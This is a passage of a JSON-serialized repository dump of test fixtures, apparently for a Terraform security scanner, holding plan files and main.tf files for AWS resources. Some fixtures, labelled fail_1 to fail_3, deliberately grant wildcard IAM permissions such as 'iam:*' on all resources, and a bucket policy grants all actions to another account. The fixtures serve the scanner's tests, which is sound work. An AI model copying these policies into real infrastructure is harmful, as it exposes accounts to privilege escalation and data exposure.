true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"tags_all\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_cloudwatch_log_resource_policy.route53-query-logging-policy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_cloudwatch_log_resource_policy\",\n      \"name\": \"route53-query-logging-policy\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"policy_document\": \"{\\\"Statement\\\":[{\\\"Action\\\":[\\\"logs:PutLogEvents\\\",\\\"logs:CreateLogStream\\\"],\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":{\\\"Service\\\":\\\"route53.amazonaws.com\\\"},\\\"Resource\\\":\\\"arn:aws:logs:*:*:log-group:/aws/route53/*\\\",\\\"Sid\\\":\\\"\\\"}],\\\"Version\\\":\\\"2012-10-17\\\"}\",\n          \"policy_name\": \"route53-query-logging-policy\"\n        },\n        \"after_unknown\": {\n          \"id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {}\n      }\n    },\n    {\n      \"address\": \"aws_route53_query_log.example_com\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_route53_query_log\",\n      \"name\": \"example_com\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {},\n        \"after_unknown\": {\n          \"arn\": true,\n          \"cloudwatch_log_group_arn\": true,\n          \"id\": true,\n          \"zone_id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {}\n      }\n    },\n    {\n      \"address\": \"aws_route53_zone.example_com\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_route53_zone\",\n      \"name\": \"example_com\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"comment\": \"Managed by Terraform\",\n          \"delegation_set_id\": null,\n          \"force_destroy\": false,\n          \"name\": \"example.com\",\n          \"tags\": null,\n          \"vpc\": []\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"name_servers\": true,\n          \"tags_all\": true,\n          \"vpc\": [],\n          \"zone_id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"name_servers\": [],\n          \"tags_all\": {},\n          \"vpc\": []\n        }\n      }\n    }\n  ],\n  \"prior_state\": {\n    \"format_version\": \"1.0\",\n    \"terraform_version\": \"1.1.5\",\n    \"values\": {\n      \"root_module\": {\n        \"resources\": [\n          {\n            \"address\": \"data.aws_iam_policy_document.route53-query-logging-policy\",\n            \"mode\": \"data\",\n            \"type\": \"aws_iam_policy_document\",\n            \"name\": \"route53-query-logging-policy\",\n            \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"id\": \"1584671853\",\n              \"json\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": [\\n        \\\"logs:PutLogEvents\\\",\\n        \\\"logs:CreateLogStream\\\"\\n      ],\\n      \\\"Resource\\\": \\\"arn:aws:logs:*:*:log-group:/aws/route53/*\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"route53.amazonaws.com\\\"\\n      }\\n    }\\n  ]\\n}\",\n              \"override_json\": null,\n              \"override_policy_documents\": null,\n              \"policy_id\": null,\n              \"source_json\": null,\n              \"source_policy_documents\": null,\n              \"statement\": [\n                {\n                  \"actions\": [\n                    \"logs:CreateLogStream\",\n                    \"logs:PutLogEvents\"\n                  ],\n                  \"condition\": [],\n                  \"effect\": \"Allow\",\n                  \"not_actions\": [],\n                  \"not_principals\": [],\n                  \"not_resources\": [],\n                  \"principals\": [\n                    {\n                      \"identifiers\": [\n                        \"route53.amazonaws.com\"\n                      ],\n                      \"type\": \"Service\"\n                    }\n                  ],\n                  \"resources\": [\n                    \"arn:aws:logs:*:*:log-group:/aws/route53/*\"\n                  ],\n                  \"sid\": \"\"\n                }\n              ],\n              \"version\": \"2012-10-17\"\n            },\n            \"sensitive_values\": {\n              \"statement\": [\n                {\n                  \"actions\": [\n                    false,\n                    false\n                  ],\n                  \"condition\": [],\n                  \"not_actions\": [],\n                  \"not_principals\": [],\n                  \"not_resources\": [],\n                  \"principals\": [\n                    {\n                      \"identifiers\": [\n                        false\n                      ]\n                    }\n                  ],\n                  \"resources\": [\n                    false\n                  ]\n                }\n              ]\n            }\n          }\n        ]\n      }\n    }\n  },\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws.us-east-1\": {\n        \"name\": \"aws\",\n        \"alias\": \"us-east-1\",\n        \"expressions\": {\n          \"profile\": {\n            \"constant_value\": \"dev\"\n          },\n          \"region\": {\n            \"constant_value\": \"us-east-1\"\n          }\n        }\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_cloudwatch_log_group.aws_route53_example_com\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_cloudwatch_log_group\",\n          \"name\": \"aws_route53_example_com\",\n          \"provider_config_key\": \"aws.us-east-1\",\n          \"expressions\": {\n            \"name\": {\n              \"references\": [\n                \"aws_route53_zone.example_com.name\",\n                \"aws_route53_zone.example_com\"\n              ]\n            },\n            \"retention_in_days\": {\n              \"constant_value\": 30\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_cloudwatch_log_resource_policy.route53-query-logging-policy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_cloudwatch_log_resource_policy\",\n          \"name\": \"route53-query-logging-policy\",\n          \"provider_config_key\": \"aws.us-east-1\",\n          \"expressions\": {\n            \"policy_document\": {\n              \"references\": [\n                \"data.aws_iam_policy_document.route53-query-logging-policy.json\",\n                \"data.aws_iam_policy_document.route53-query-logging-policy\"\n              ]\n            },\n            \"policy_name\": {\n              \"constant_value\": \"route53-query-logging-policy\"\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_route53_query_log.example_com\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route53_query_log\",\n          \"name\": \"example_com\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"cloudwatch_log_group_arn\": {\n              \"references\": [\n                \"aws_cloudwatch_log_group.aws_route53_example_com.arn\",\n                \"aws_cloudwatch_log_group.aws_route53_example_com\"\n              ]\n            },\n            \"zone_id\": {\n              \"references\": [\n                \"aws_route53_zone.example_com.zone_id\",\n                \"aws_route53_zone.example_com\"\n              ]\n            }\n          },\n          \"schema_version\": 0,\n          \"depends_on\": [\n            \"aws_cloudwatch_log_resource_policy.route53-query-logging-policy\"\n          ]\n        },\n        {\n          \"address\": \"aws_route53_zone.example_com\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route53_zone\",\n          \"name\": \"example_com\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"constant_value\": \"example.com\"\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"data.aws_iam_policy_document.route53-query-logging-policy\",\n          \"mode\": \"data\",\n          \"type\": \"aws_iam_policy_document\",\n          \"name\": \"route53-query-logging-policy\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"statement\": [\n              {\n                \"actions\": {\n                  \"constant_value\": [\n                    \"logs:CreateLogStream\",\n                    \"logs:PutLogEvents\"\n                  ]\n                },\n                \"principals\": [\n                  {\n                    \"identifiers\": {\n                      \"constant_value\": [\n                        \"route53.amazonaws.com\"\n                      ]\n                    },\n                    \"type\": {\n                      \"constant_value\": \"Service\"\n                    }\n                  }\n                ],\n                \"resources\": {\n                  \"constant_value\": [\n                    \"arn:aws:logs:*:*:log-group:/aws/route53/*\"\n                  ]\n                }\n              }\n            ]\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/plan_with_child_modules/tfplan.json",
    "content": "{\n  \"format_version\": \"0.1\",\n  \"terraform_version\": \"0.12.28\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"child_modules\": [\n        {\n          \"resources\": [\n            {\n              \"address\": \"module.iam_groups.aws_iam_account_password_policy.main\",\n              \"mode\": \"managed\",\n              \"type\": \"aws_iam_account_password_policy\",\n              \"name\": \"main\",\n              \"provider_name\": \"aws\",\n              \"schema_version\": 0,\n              \"values\": {\n                \"allow_users_to_change_password\": true,\n                \"hard_expiry\": true,\n                \"max_password_age\": 300,\n                \"minimum_password_length\": 10,\n                \"password_reuse_prevention\": 5,\n                \"require_lowercase_characters\": true,\n                \"require_numbers\": true,\n                \"require_symbols\": true,\n                \"require_uppercase_characters\": true\n              }\n            }\n          ],\n          \"address\": \"module.iam_groups\"\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"module.iam_groups.aws_iam_account_password_policy.main\",\n      \"module_address\": \"module.iam_groups\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_account_password_policy\",\n      \"name\": \"main\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"allow_users_to_change_password\": true,\n          \"hard_expiry\": true,\n          \"max_password_age\": 300,\n          \"minimum_password_length\": 10,\n          \"password_reuse_prevention\": 5,\n          \"require_lowercase_characters\": true,\n          \"require_numbers\": true,\n          \"require_symbols\": true,\n          \"require_uppercase_characters\": true\n        },\n        \"after_unknown\": {\n          \"expire_passwords\": true,\n          \"id\": true\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"expressions\": {\n          \"region\": {\n            \"constant_value\": \"eu-west-1\"\n          }\n        }\n      }\n    },\n    \"root_module\": {\n      \"module_calls\": {\n        \"iam_groups\": {\n          \"source\": \"../../modules/iam-user-password-policy\",\n          \"expressions\": {\n            \"allow_users_to_change_password\": {\n              \"constant_value\": true\n            },\n            \"hard_expiry\": {\n              \"constant_value\": true\n            },\n            \"max_password_age\": {\n              \"constant_value\": 300\n            },\n            \"minimum_password_length\": {\n              \"constant_value\": 10\n            },\n            \"password_reuse_prevention\": {\n              \"constant_value\": 5\n            },\n            \"require_lowercase_characters\": {\n              \"constant_value\": true\n            },\n            \"require_numbers\": {\n              \"constant_value\": true\n            },\n            \"require_symbols\": {\n              \"constant_value\": true\n            },\n            \"require_uppercase_characters\": {\n              \"constant_value\": true\n            }\n          },\n          \"module\": {\n            \"resources\": [\n              {\n                \"address\": \"aws_iam_account_password_policy.main\",\n                \"mode\": \"managed\",\n                \"type\": \"aws_iam_account_password_policy\",\n                \"name\": \"main\",\n                \"provider_config_key\": \"iam_groups:aws\",\n                \"expressions\": {\n                  \"allow_users_to_change_password\": {\n                    \"references\": [\n                      \"var.allow_users_to_change_password\"\n                    ]\n                  },\n                  \"hard_expiry\": {\n                    \"references\": [\n                      \"var.hard_expiry\"\n                    ]\n                  },\n                  \"max_password_age\": {\n                    \"references\": [\n                      \"var.max_password_age\"\n                    ]\n                  },\n                  \"minimum_password_length\": {\n                    \"references\": [\n                      \"var.minimum_password_length\"\n                    ]\n                  },\n                  \"password_reuse_prevention\": {\n                    \"references\": [\n                      \"var.password_reuse_prevention\"\n                    ]\n                  },\n                  \"require_lowercase_characters\": {\n                    \"references\": [\n                      \"var.require_lowercase_characters\"\n                    ]\n                  },\n                  \"require_numbers\": {\n                    \"references\": [\n                      \"var.require_numbers\"\n                    ]\n                  },\n                  \"require_symbols\": {\n                    \"references\": [\n                      \"var.require_symbols\"\n                    ]\n                  },\n                  \"require_uppercase_characters\": {\n                    \"references\": [\n                      \"var.require_uppercase_characters\"\n                    ]\n                  }\n                },\n                \"schema_version\": 0\n              }\n            ],\n            \"variables\": {\n              \"allow_users_to_change_password\": {\n                \"default\": true,\n                \"description\": \"Whether to allow users to change their own password (true or false).\"\n              },\n              \"hard_expiry\": {\n                \"default\": true,\n                \"description\": \"Whether users are prevented from setting a new password after their password has expired (i.e. require administrator reset) (true or false).\"\n              },\n              \"max_password_age\": {\n                \"default\": 0,\n                \"description\": \"The number of days that an user password is valid. Enter 0 for no expiration.\"\n              },\n              \"minimum_password_length\": {\n                \"default\": 16,\n                \"description\": \"Minimum length to require for user passwords.\"\n              },\n              \"password_reuse_prevention\": {\n                \"default\": 5,\n                \"description\": \"The number of previous passwords that users are prevented from reusing.\"\n              },\n              \"require_lowercase_characters\": {\n                \"default\": true,\n                \"description\": \"Whether to require lowercase characters for user passwords (true or false).\"\n              },\n              \"require_numbers\": {\n                \"default\": true,\n                \"description\": \"Whether to require numbers for user passwords (true or false).\"\n              },\n              \"require_symbols\": {\n                \"default\": true,\n                \"description\": \"Whether to require symbols for user passwords (true or false).\"\n              },\n              \"require_uppercase_characters\": {\n                \"default\": true,\n                \"description\": \"Whether to require uppercase characters for user passwords (true or false).\"\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/runner/resources/plan_with_deleted_resources/tfplan.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.2.4\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_secretsmanager_secret.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_secretsmanager_secret\",\n          \"name\": \"default\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"description\": null,\n            \"force_overwrite_replica_secret\": false,\n            \"kms_key_id\": null,\n            \"name\": \"test\",\n            \"recovery_window_in_days\": 30,\n            \"tags\": null\n          },\n          \"sensitive_values\": {\n            \"replica\": [],\n            \"rotation_rules\": [],\n            \"tags_all\": {}\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_secretsmanager_secret.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_secretsmanager_secret\",\n      \"name\": \"default\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\",\n          \"delete\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": null,\n          \"force_overwrite_replica_secret\": false,\n          \"kms_key_id\": null,\n          \"name\": \"test\",\n          \"recovery_window_in_days\": 30,\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"name_prefix\": true,\n          \"policy\": true,\n          \"replica\": true,\n          \"rotation_enabled\": true,\n          \"rotation_lambda_arn\": true,\n          \"rotation_rules\": true,\n          \"tags_all\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"replica\": [],\n          \"rotation_rules\": [],\n          \"tags_all\": {}\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\",\n        \"expressions\": {\n          \"profile\": {\n            \"constant_value\": \"dev2\"\n          },\n          \"region\": {\n            \"constant_value\": \"us-west-2\"\n          }\n        }\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_secretsmanager_secret.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_secretsmanager_secret\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"constant_value\": \"test\"\n            }\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/plan_with_iam_data_block/main.tf",
    "content": "# HCL file added for easier way to re-create the plan file\n\nresource \"aws_s3_bucket\" \"example\" {\n  bucket = \"my-tf-test-bucket\"\n}\n\nresource \"aws_s3_bucket_policy\" \"allow_access_from_another_account\" {\n  bucket = aws_s3_bucket.example.id\n  policy = data.aws_iam_policy_document.allow_access_from_another_account.json\n}\n\ndata \"aws_iam_policy_document\" \"allow_access_from_another_account\" {\n  statement {\n    principals {\n      type        = \"AWS\"\n      identifiers = [\"123456789012\"]\n    }\n\n    actions = [\"*\"]\n\n    resources = [\n      aws_s3_bucket.example.arn,\n      \"${aws_s3_bucket.example.arn}/*\",\n    ]\n  }\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/plan_with_iam_data_block/tfplan.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.3.9\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_s3_bucket.example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"example\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"bucket\": \"my-tf-test-bucket\",\n            \"bucket_prefix\": null,\n            \"force_destroy\": false,\n            \"tags\": null,\n            \"timeouts\": null\n          },\n          \"sensitive_values\": {\n            \"cors_rule\": [],\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [],\n            \"object_lock_configuration\": [],\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [],\n            \"tags_all\": {},\n            \"versioning\": [],\n            \"website\": []\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket_policy.allow_access_from_another_account\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket_policy\",\n          \"name\": \"allow_access_from_another_account\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"sensitive_values\": {}\n        },\n        {\n          \"address\": \"data.aws_iam_policy_document.allow_access_from_another_account\",\n          \"mode\": \"data\",\n          \"type\": \"aws_iam_policy_document\",\n          \"name\": \"allow_access_from_another_account\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"override_json\": null,\n            \"override_policy_documents\": null,\n            \"policy_id\": null,\n            \"source_json\": null,\n            \"source_policy_documents\": null,\n            \"statement\": [\n              {\n                \"actions\": [\n                  \"*\"\n                ],\n                \"condition\": [],\n                \"effect\": null,\n                \"not_actions\": null,\n                \"not_principals\": [],\n                \"not_resources\": null,\n                \"principals\": [\n                  {\n                    \"identifiers\": [\n                      \"*\"\n                    ],\n                    \"type\": \"AWS\"\n                  }\n                ],\n                \"resources\": [\n                  null,\n                  null\n                ],\n                \"sid\": null\n              }\n            ],\n            \"version\": null\n          },\n          \"sensitive_values\": {\n            \"statement\": [\n              {\n                \"actions\": [\n                  false\n                ],\n                \"condition\": [],\n                \"not_principals\": [],\n                \"principals\": [\n                  {\n                    \"identifiers\": [\n                      false\n                    ]\n                  }\n                ],\n                \"resources\": [\n                  false,\n                  false\n                ]\n              }\n            ]\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_s3_bucket.example\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"example\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"bucket\": \"my-tf-test-bucket\",\n          \"bucket_prefix\": null,\n          \"force_destroy\": false,\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"acl\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": true,\n          \"grant\": true,\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": true,\n          \"logging\": true,\n          \"object_lock_configuration\": true,\n          \"object_lock_enabled\": true,\n          \"policy\": true,\n          \"region\": true,\n          \"replication_configuration\": true,\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": true,\n          \"tags_all\": true,\n          \"versioning\": true,\n          \"website\": true,\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags_all\": {},\n          \"versioning\": [],\n          \"website\": []\n        }\n      }\n    },\n    {\n      \"address\": \"aws_s3_bucket_policy.allow_access_from_another_account\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket_policy\",\n      \"name\": \"allow_access_from_another_account\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {},\n        \"after_unknown\": {\n          \"bucket\": true,\n          \"id\": true,\n          \"policy\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {}\n      }\n    },\n    {\n      \"address\": \"data.aws_iam_policy_document.allow_access_from_another_account\",\n      \"mode\": \"data\",\n      \"type\": \"aws_iam_policy_document\",\n      \"name\": \"allow_access_from_another_account\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"read\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"override_json\": null,\n          \"override_policy_documents\": null,\n          \"policy_id\": null,\n          \"source_json\": null,\n          \"source_policy_documents\": null,\n          \"statement\": [\n            {\n              \"actions\": [\n                \"*\"\n              ],\n              \"condition\": [],\n              \"effect\": null,\n              \"not_actions\": null,\n              \"not_principals\": [],\n              \"not_resources\": null,\n              \"principals\": [\n                {\n                  \"identifiers\": [\n                    \"123456789012\"\n                  ],\n                  \"type\": \"AWS\"\n                }\n              ],\n              \"resources\": [\n                null,\n                null\n              ],\n              \"sid\": null\n            }\n          ],\n          \"version\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"json\": true,\n          \"statement\": [\n            {\n              \"actions\": [\n                false\n              ],\n              \"condition\": [],\n              \"not_principals\": [],\n              \"principals\": [\n                {\n                  \"identifiers\": [\n                    false\n                  ]\n                }\n              ],\n              \"resources\": [\n                true,\n                true\n              ]\n            }\n          ]\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"statement\": [\n            {\n              \"actions\": [\n                false\n              ],\n              \"condition\": [],\n              \"not_principals\": [],\n              \"principals\": [\n                {\n                  \"identifiers\": [\n                    false\n                  ]\n                }\n              ],\n              \"resources\": [\n                false,\n                false\n              ]\n            }\n          ]\n        }\n      },\n      \"action_reason\": \"read_because_config_unknown\"\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\",\n        \"expressions\": {\n          \"profile\": {\n            \"constant_value\": \"dev2\"\n          },\n          \"region\": {\n            \"constant_value\": \"us-east-2\"\n          }\n        }\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_s3_bucket.example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"example\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"bucket\": {\n              \"constant_value\": \"my-tf-test-bucket\"\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_s3_bucket_policy.allow_access_from_another_account\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket_policy\",\n          \"name\": \"allow_access_from_another_account\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"bucket\": {\n              \"references\": [\n                \"aws_s3_bucket.example.id\",\n                \"aws_s3_bucket.example\"\n              ]\n            },\n            \"policy\": {\n              \"references\": [\n                \"data.aws_iam_policy_document.allow_access_from_another_account.json\",\n                \"data.aws_iam_policy_document.allow_access_from_another_account\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"data.aws_iam_policy_document.allow_access_from_another_account\",\n          \"mode\": \"data\",\n          \"type\": \"aws_iam_policy_document\",\n          \"name\": \"allow_access_from_another_account\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"statement\": [\n              {\n                \"actions\": {\n                  \"constant_value\": [\n                    \"*\"\n                  ]\n                },\n                \"principals\": [\n                  {\n                    \"identifiers\": {\n                      \"constant_value\": [\n                        \"123456789012\"\n                      ]\n                    },\n                    \"type\": {\n                      \"constant_value\": \"AWS\"\n                    }\n                  }\n                ],\n                \"resources\": {\n                  \"references\": [\n                    \"aws_s3_bucket.example.arn\",\n                    \"aws_s3_bucket.example\",\n                    \"aws_s3_bucket.example.arn\",\n                    \"aws_s3_bucket.example\"\n                  ]\n                }\n              }\n            ]\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  },\n  \"relevant_attributes\": [\n    {\n      \"resource\": \"aws_s3_bucket.example\",\n      \"attribute\": [\n        \"arn\"\n      ]\n    },\n    {\n      \"resource\": \"aws_s3_bucket.example\",\n      \"attribute\": [\n        \"id\"\n      ]\n    },\n    {\n      \"resource\": \"data.aws_iam_policy_document.allow_access_from_another_account\",\n      \"attribute\": [\n        \"json\"\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/plan_with_iam_policies/main.tf",
    "content": "# HCL file added for easier way to re-create the plan file\n\nprovider \"aws\" {\n  region  = \"us-west-2\"\n  profile = \"dev2\"\n}\n\nresource \"aws_iam_policy\" \"policy_pass\" {\n  name        = \"policy_pass\"\n  path        = \"/\"\n\n  policy = jsonencode({\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n        \"Action\": \"s3:*\",\n        \"Effect\": \"Allow\",\n        \"Resource\": \"*\"\n        }\n    ]\n  })\n}\n\nresource \"aws_iam_role\" \"example\" {\n  assume_role_policy = jsonencode({\n    Version = \"2012-10-17\"\n\n    Statement = [{\n      Effect = \"Allow\"\n      Action = \"sts:AssumeRole\"\n\n      Principal = {\n        Service = \"lambda.amazonaws.com\"\n      }\n    }]\n  })\n}\n\nresource \"aws_iam_role_policy\" \"fail_1\" {\n  name   = \"example\"\n  role   = aws_iam_role.example.id\n  policy = data.aws_iam_policy_document.fail_1.json\n}\n\ndata \"aws_iam_policy_document\" \"fail_1\" {\n  statement {\n    effect = \"Allow\"\n    actions = [\n      \"iam:*\"\n    ]\n    resources = [\"*\"]\n  }\n}\n\nresource \"aws_iam_group\" \"fail_2\" {\n  name = \"example\"\n}\n\nresource \"aws_iam_group_policy\" \"fail_2\" {\n  name  = \"example\"\n  group = aws_iam_group.fail_2.name\n\n  policy = <<POLICY\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Action\": [\n        \"s3:Get*\",\n        \"iam:*\"\n      ],\n      \"Effect\": \"Allow\",\n      \"Resource\": \"*\"\n    }\n  ]\n}\nPOLICY\n}\n\nresource \"aws_iam_user\" \"fail_3\" {\n  name = \"example\"\n}\n\nresource \"aws_iam_user_policy\" \"fail_3\" {\n  name   = \"example\"\n  user   = aws_iam_user.fail_3.name\n  policy = data.aws_iam_policy_document.fail_1.json\n}\n\n# couldn't create without a SSO instance\n#\n#data \"aws_ssoadmin_instances\" \"example\" {}\n#\n#resource \"aws_ssoadmin_permission_set\" \"example\" {\n#  name         = \"example\"\n#  instance_arn = tolist(data.aws_ssoadmin_instances.example.arns)[0]\n#}\n#\n#resource \"aws_ssoadmin_permission_set_inline_policy\" \"fail_4\" {\n#  instance_arn       = aws_ssoadmin_permission_set.example.instance_arn\n#  permission_set_arn = aws_ssoadmin_permission_set.example.arn\n#  inline_policy      = data.aws_iam_policy_document.fail_1.json\n#}\n"
  },
  {
    "path": "tests/terraform/runner/resources/plan_with_iam_policies/tfplan.json",
    "content": "{\n  \"format_version\": \"1.0\",\n  \"terraform_version\": \"1.1.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_iam_group.fail_2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_group\",\n          \"name\": \"fail_2\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"name\": \"example\",\n            \"path\": \"/\"\n          },\n          \"sensitive_values\": {}\n        },\n        {\n          \"address\": \"aws_iam_group_policy.fail_2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_group_policy\",\n          \"name\": \"fail_2\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"group\": \"example\",\n            \"name\": \"example\",\n            \"name_prefix\": null,\n            \"policy\": \"{\\r\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\r\\n  \\\"Statement\\\": [\\r\\n    {\\r\\n      \\\"Action\\\": [\\r\\n        \\\"s3:Get*\\\",\\r\\n        \\\"iam:*\\\"\\r\\n      ],\\r\\n      \\\"Effect\\\": \\\"Allow\\\",\\r\\n      \\\"Resource\\\": \\\"*\\\"\\r\\n    }\\r\\n  ]\\r\\n}\\r\\n\"\n          },\n          \"sensitive_values\": {}\n        },\n        {\n          \"address\": \"aws_iam_policy.policy_pass\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_policy\",\n          \"name\": \"policy_pass\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"description\": null,\n            \"name\": \"policy_pass\",\n            \"name_prefix\": null,\n            \"path\": 